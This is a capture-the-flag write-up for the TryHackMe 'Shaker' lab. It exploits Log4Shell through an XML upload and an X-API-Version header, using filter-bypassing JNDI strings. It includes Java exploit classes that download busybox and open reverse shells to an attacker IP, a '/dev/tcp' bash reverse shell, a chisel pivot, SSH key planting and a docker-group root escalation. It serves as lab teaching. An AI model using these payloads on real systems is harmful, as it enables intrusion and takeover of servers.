Shaker

Pasted image 20250516193315.png

Site Description

One of our devs has been experimenting with webservers and wants to see if his security is up to snuff. Rumour has it he updated all his dependencies, but did something fall through the cracks?

Flag 1

HINT:

Get a shell and find the first flag!

This one needs some careful enumeration. My _favourite_ way to start is to walk through the application as a normal user and look everywhere. Perhaps Bob left something lying around that he shouldn't have.

Namp

First off, after we get the IP Address, let's check for all the ports and services that is running in the target machine.

Command:

sudo nmap -sC -sV -vv -T5 10.10.87.16

Output:

22/tcp   open   ssh        syn-ack ttl 60 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 d5:33:1f:04:50:a3:f8:9b:a5:d5:55:10:04:52:83:69 (RSA)
| ssh-rsa AAAAB3NzaC1..............


.......................F/OCncsR6
8080/tcp open   http-proxy syn-ack ttl 59
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
............

.....................</body>
|_    </html>
9090/tcp closed zeus-admin reset ttl 60
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=5/16%Time=682748AD%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,60F,"HTTP/1\.1\x2020.........................

We see that we have found 3 ports open, Port 22, Port 8080 and Port 9090.

  • Port 22 - SSH
  • Port 8080 - Web Server
  • Port 9090 - zeus-admin (Closed)

Now, to further continue, let's go with the Web Server side of the target system.

Web Server

Let's add a local domain name to the IP Address of the target system to be able to access it through the web browser.

Command:

sudo nano /etc/hosts

Add the following to the end of the file:

<--IP Address--> shaker.thm

Pasted image 20250516195541.png
Adding Local Domain Name

Now, let's open that in the web browser.

Address

http://shaker.thm:8080/

Pasted image 20250516200039.png

It looks like the website is asking for XML files and it does some kind of shacking, so, let's try that out by uploading a XML file of my own:

XML File:

<Info>
    <username>Hacker</username>
    <fullname>CTF</fullname>
	<Password>Hacking</Password>
</Info>

After uploading the file, this is the output that we get.

Pasted image 20250517124725.png

And when you click on the "Download Here!" link, you can see the location of the file where it was uploaded.

Pasted image 20250517124908.png

Also here..... When you open the source code of the page..... we see something interesting in the comments

Pasted image 20250523104414.png

<!--Added some brute-force protection to the logs folder. They'll be in a folder suffixed by a totally secure random 4 digit pin -Bob--></section>

which means that there is something of a log folder which has a random 4 digit pin as a suffix to it's name.

to track it down, let's use fuff to look for sub-folders/files/domains of this target system.

Fuzzing (FFUF)

let's look for some files

(change the location to your respective fuzzing list files)

ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://shaker.thm:8080/FUZZ"

Nothing useful...... let's go for the folders

ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u "http://shaker.thm:8080/FUZZ"

Pasted image 20250523104601.png

debug!!! we found a debug folder, but that just redirect to the same page as to the index and no more information......

so..... let's assume now that there could be a logs folder which the tool could not find, due to the extra added suffix to the end of it.

To generate the 4 digit number, you can make use of python scripts such as below:

#!/usr/bin/python3

for i in range (0000, 10000):
	print('{0:04}'.format(i))

Pasted image 20250523110540.png

Fuzz for the logs folder

ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/4-D-Number.txt -u "http://shaker.thm:8080/debug/logsFUZZ"

Pasted image 20250523111144.png

Here we find that the secret number of the logs folder is 8171

let's brows there!

address:

http://shaker.thm:8080/debug/logs8171

Pasted image 20250523111506.png

Here we see all the logs of the application and the activities that was done on the web page.

Good!!!! Now, if we run down the rabbit hole with trying to exploit the XXE Injection, we might never reach anywhere...... but, here is what is interesting to note.... after some help from the write ups and the community of the TryHackMe....

(Link to Join their Discord Server (Not sponsored, but just out of pure good will, And TryHackMe if you are reading this or watching my videos you know where to reach out to me, lol))

Pasted image 20250523161805.png

With all these help.... we get to know that the server in the backend is using log4j for it's log monitoring, which gives us the right opportunity to test out for any potential log4j exploits.

Log4j

Let's setup a listener at port 1389 using netcat:

nc -lvnp 1389

then, let's try uploading this XML Files:

<Log4j>${jndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>

And we get this!!! The uploaded file contains banned content

Pasted image 20250523162237.png

and in the logs:

Pasted image 20250523162302.png

Good!! which means that there is some kind of filtering for the log4j direct exploit, but there are many bypass payloads for the same.... let's try this one out:

<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>

But this time!!! we get the a call back!!! which proves that we can exploit the Log4j Vulnerability.

Pasted image 20250523162835.png

I am just following the steps form another room of TryHackMe called Solar, exploiting log4j which was written by John Hammond under the Exploitation section to set up a LDAP referral Server to direct connections to our secondary HTTP server. Please go through that room and other resources before you continue as I am am assuming you might have the right knowledge about this setup.

We will use the marshalsec utility offered at https://github.com/mbechler/marshalsec to obtaining the LDAP Referral Server.

Pasted image 20250523165715.png

If you have no idea about log4j, I recommend you all to go through Solar, exploiting log4j room before solving this room, follow the steps to setup the Java 8 and marshalsec utility with the right commands

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.17.18.22:8000/#Exploit"

Pasted image 20250523171040.png
There is a small error in the screenshot above, but the commands are right, sorry for that

Now, open another terminal and let's build our payload for the java to connect to our listener, name this file as Exploit.java

Pasted image 20250523171407.png

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.17.18.22 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

For this payload, you can see we will execute a command on the target, specifically nc -e /bin/bash to call back to our our attacker machine, hoping that the target system is configured with netcat.

Compile your payload with javac Exploit.java -source 8 -target 8 and verify it succeeded by running the ls command and finding a newly created Exploit.class file

javac Exploit.java -source 8 -target 8

Pasted image 20250523171649.png

With your payload created and compiled, you can now host it by spinning up a temporary HTTP server.

python3 -m http.server

Pasted image 20250523172111.png

Now, let's setup a listener at port 9999

nc -lnvp 9999

Pasted image 20250523172234.png

Now, let's upload the same XML File

<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>

AND A SAD NEWS!!!!! We see the requests and traffic of trying to connect to the listener, but no success..... which means that there might be no system utilities like netcat to be able to connect to your attacker's machine.

Pasted image 20250523172725.png
There is a small error in the screenshot, sorry for that

Since we know that Java exists in the system, we can try downloading, executing, assigning the right privileges, etc. using java. And that is exactly how we will install the busybox binaries onto the target system and make it connect to us.

Pasted image 20250525115447.png

Before that, we need to see the location where we can download and save our binaries. so, let's upload this XML to the server and check.

<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/${env:PWD}}</Log4j>

And in the LDAP logs, we see the message:

Send LDAP reference result for /app redirecting to http://10.17.18.22:8000/Log4j.class

Pasted image 20250523174652.png

Good..... which means that, we can attempt to upload the binary files to the /app/uploads

To have the binaries of the busy box, we will need to download it into our attacker's machine where we have hosted the HTTP Server and then download it in the target's system using the custom java code.

you can download the binaries to busy box from here: https://busybox.net/downloads/binaries/

Pasted image 20250523175516.png

We'll host it on the same folder where http server and our java exploit code are present.

Then we craft our java exploit to download busybox, change permissions, and execute a command that will give us a shell on port 9999.

import java.io.*;
import java.lang.*;
import java.nio.file.StandardCopyOption;
import java.net.URL;
import java.nio.file.Paths;
import java.nio.file.Files;

public class Exploit {
    static {
        try {

            String ip = "ATTACKER_IP_ADDRESS";

            //Download the file
            String FILE_URL = "http://"+ip+":8000/busybox";
            String FILE_PATH = "/app/uploads/busybox";

            InputStream in = new URL(FILE_URL).openStream();
            Files.copy(in, Paths.get(FILE_PATH), StandardCopyOption.REPLACE_EXISTING);

            File file = new File(FILE_PATH);

            //check if file exists
            if(file.exists()){

                //change file permissions
                file.setExecutable(true);
                file.setReadable(true);
                file.setWritable(false);

            }

            //Execute a command that gives us a reverse shell
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("/app/uploads/busybox nc "+ip+" 9999 -e /app/uploads/busybox sh");
            p.waitFor();


        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Thanks to OmegaVoid's java code, all credits to where it is due.

Pasted image 20250523180017.png

now, let's upload the XML file to the server:

<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Exploit}</Log4j>

We get the call back the server!!!

Pasted image 20250523193302.png

and we get the flag!!!!

Pasted image 20250523193604.png

Flag 2

HINT:

Can you find Bob's flag?

Rumour has it Bob was researching a certain CVE

Docker!!!!

Looking at the / directory of the target system, we see a file called .dockerenv which means that our current session is on a docker container.

Pasted image 20250523200541.png

That means we need to shift our focus onto the host system of these containers, so.... let's first get the address of the host using the busybox binary as there are no system utilities that we can use.

./busybox ip route get 1

Pasted image 20250523200812.png

At this point we know that the host's address is 172.18.0.1

so, let's try downloading some static binary files of nmap and chisel from our host system to our target system by updating the Exploit.java code (I will be naming this as Exploit1.java)

import java.io.*;
import java.net.URL;
import java.nio.file.Paths;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;

public class Exploit1 {
    static {
        try {
            String ip = "ATTACKER_IP_ADDRESS";
            String baseUrl = "http://" + ip + ":8000/";
            String uploadPath = "/app/uploads/";

            // Define tools to download
            String[] tools = { "nmap", "chisel" };

            for (String tool : tools) {
                String fileUrl = baseUrl + tool;
                String filePath = uploadPath + tool;

                InputStream in = new URL(fileUrl).openStream();
                Files.copy(in, Paths.get(filePath), StandardCopyOption.REPLACE_EXISTING);
                in.close();

                File file = new File(filePath);
                if (file.exists()) {
                    file.setExecutable(true);
                    file.setReadable(true);
                    file.setWritable(false);
                }
            }

            //Execute a command that gives us a reverse shell
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("/app/uploads/busybox nc "+ip+" 9999 -e /app/uploads/busybox sh");
            p.waitFor();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Thanks to ChatGPT

Now, compile the java code:

javac Exploit1.java -source 8 -target 8

Pasted image 20250524103344.png

Now, kill the current session of the reverse shell.

exit

Pasted image 20250524102938.png

Then, again start the LDAP referral server this time with the name Exploit1

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.17.18.22:8000/#Exploit1"

start a HTTP server where you have saved the namp, chisel and the Exploit1.class file (you can find the binary files under the blog's sub section called tools)

Pasted image 20250524103733.png

Start a listener at port 9999

nc -lvnp 9999

Pasted image 20250524104012.png

Now, I will send the following XML file to be uploaded:

<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Exploit1}</Log4j>

Pasted image 20250524104125.png

And we get a connection back!!!

Pasted image 20250524104252.png

Now!!! Let's start exploring it!!!

Pasted image 20250524104328.png

Let's scan for the ports of the target host system using the nmap tool that we downloaded.

./nmap -p- 172.18.0.1

Pasted image 20250524104502.png

We see that we have got 3 ports open,

  • Port 22
  • Port 8080
  • Port 8888

With a fair bit of understanding..... we can say that port 8080 is for port-forwarding to the container, but 8888 seems to be something new. Let's use chisel and forward this connection to our local system and try understanding it.

Chisel

Let's open a new terminal and start a chisel server in our attacker's machine.

./chisel server -p 9988 -reverse

Pasted image 20250524110917.png

on the target system, now run the command of client to connect to the server.

./chisel client 10.17.18.22:9988 R:8888:172.18.0.1:8888

Pasted image 20250524112831.png
I had lost my connection, hence this is a new connection to the server

and we get the connection.

Pasted image 20250524112929.png

Now, let's check to see what is running on the port 8888 of the target system by browsing to the 127.0.0.1:8888 in our system.

We get an error called Whitelabel Error Page

Pasted image 20250524113033.png

and This error is about Spring Boot when it gets an un-handled exception occurs.

Pasted image 20250525120320.png

ok..... but to dig out more, let's use curl to understand the headers of the web page.

curl -X OPTIONS http://127.0.0.1:8888 -vv

Pasted image 20250524120045.png

This means that it requires the header to be of X-Api-Version, let's send a request with that header and see what we will get as an output.

curl -H 'X-Api-Version: 1' http://127.0.0.1:8888

Pasted image 20250524212528.png

And I was stuck here...... again with a little bit of help form the community, I got back the track...... guess what is it this time????? LOG4j!!!!!!!!!!! lol!!

Ok..... with this hint that to go from here, we need to exploit the log4j vulnerability again..... I got thinking how? So, let's first try uploading the traditional payload of log4j to get a call back to our LDAP server.

curl -H 'X-API-Version: ${jndi:ldap://10.17.18.22:1389/Exploit}' http://127.0.0.1:8888

Pasted image 20250524212932.png

and..... nothing happens

Pasted image 20250524212951.png

little bit of digging gets me to this...... what does that teapot mean....??

Some websites use this response for requests they do not wish to handle, such as automated queries.

Pasted image 20250524213202.png

which means that there might be some kind of filters on place, let't try some other bypass methods.

curl -H 'X-API-Version: ${${::-j}ndi:${::-l}dap://10.17.18.22:1389/Exploit}' http://127.0.0.1:8888

And We get the Hello, world! output

Pasted image 20250524213642.png

and we see the output here:

Pasted image 20250524213659.png

RMI

But, strangely, there was no request or log in our HTTP server hosting the Exploit.class.... which means that this LDAP Server will not be able to serve it. So, let's switch from using marshalsec to using RMI server (please go through the Solar room for more details).

I will be using the JNDI-Exploit-Kit

git clone https://github.com/pimps/JNDI-Exploit-Kit.git

Pasted image 20250524214852.png

Now, let's run RMI Server.

java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C 'bash -i &>/dev/tcp/10.17.18.22/4455 <&1' -R 10.17.18.22:1389 -O RMI

Pasted image 20250524215233.png

Here, I will choose the payload whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath for getting a reverse shell to the system

Pasted image 20250524215459.png

now, let's start a listener at port 4455

nc -lvnp 4455

Pasted image 20250524220147.png

So, let's send this request to the target system.

curl -H 'X-API-Version: ${${::-j}ndi:${::-r}mi://10.17.18.22:1389/zwlpep}' http://127.0.0.1:8888

Pasted image 20250524220208.png

And we get a shell back!!!

Pasted image 20250524220259.png

and we get the flog in the bob's home folder!!

Pasted image 20250524220441.png

Flag 3

Now that you're here, go on, root me :)

BOB

First off, let's get a stable shell.

Generate a ssh key for authenticating us.

ssh-keygen -t rsa

Pasted image 20250525000234.png

copy the bob.pub file contents

Pasted image 20250525000318.png

Now, let's go with finding the .ssh keys of bob to get a stable shell.

cd .ssh

Pasted image 20250524235100.png

and paste it in to the authorized_keys file

echo '--Content--' > authorized_keys

Pasted image 20250525000525.png

Now, let's ssh into bob's machine

ssh [email protected] -i bob

Pasted image 20250525000622.png

Now!!! When we run the ID command, we see that the user bob is part of the docker group, which means that we have access to the docker containers.

id

Pasted image 20250524231823.png

let's check for the docker containers

docker images

Pasted image 20250524232006.png

Docker

ha!!! We get the shaker image to be present!!! Now, let's access the container with the root access:

docker run -v /:/mnt --rm --user root:root -it shaker /bin/sh

Pasted image 20250525000944.png

and there we go!!!! found our fag!!!!!!

Thanks to all the support from TryHackMe's Discord members...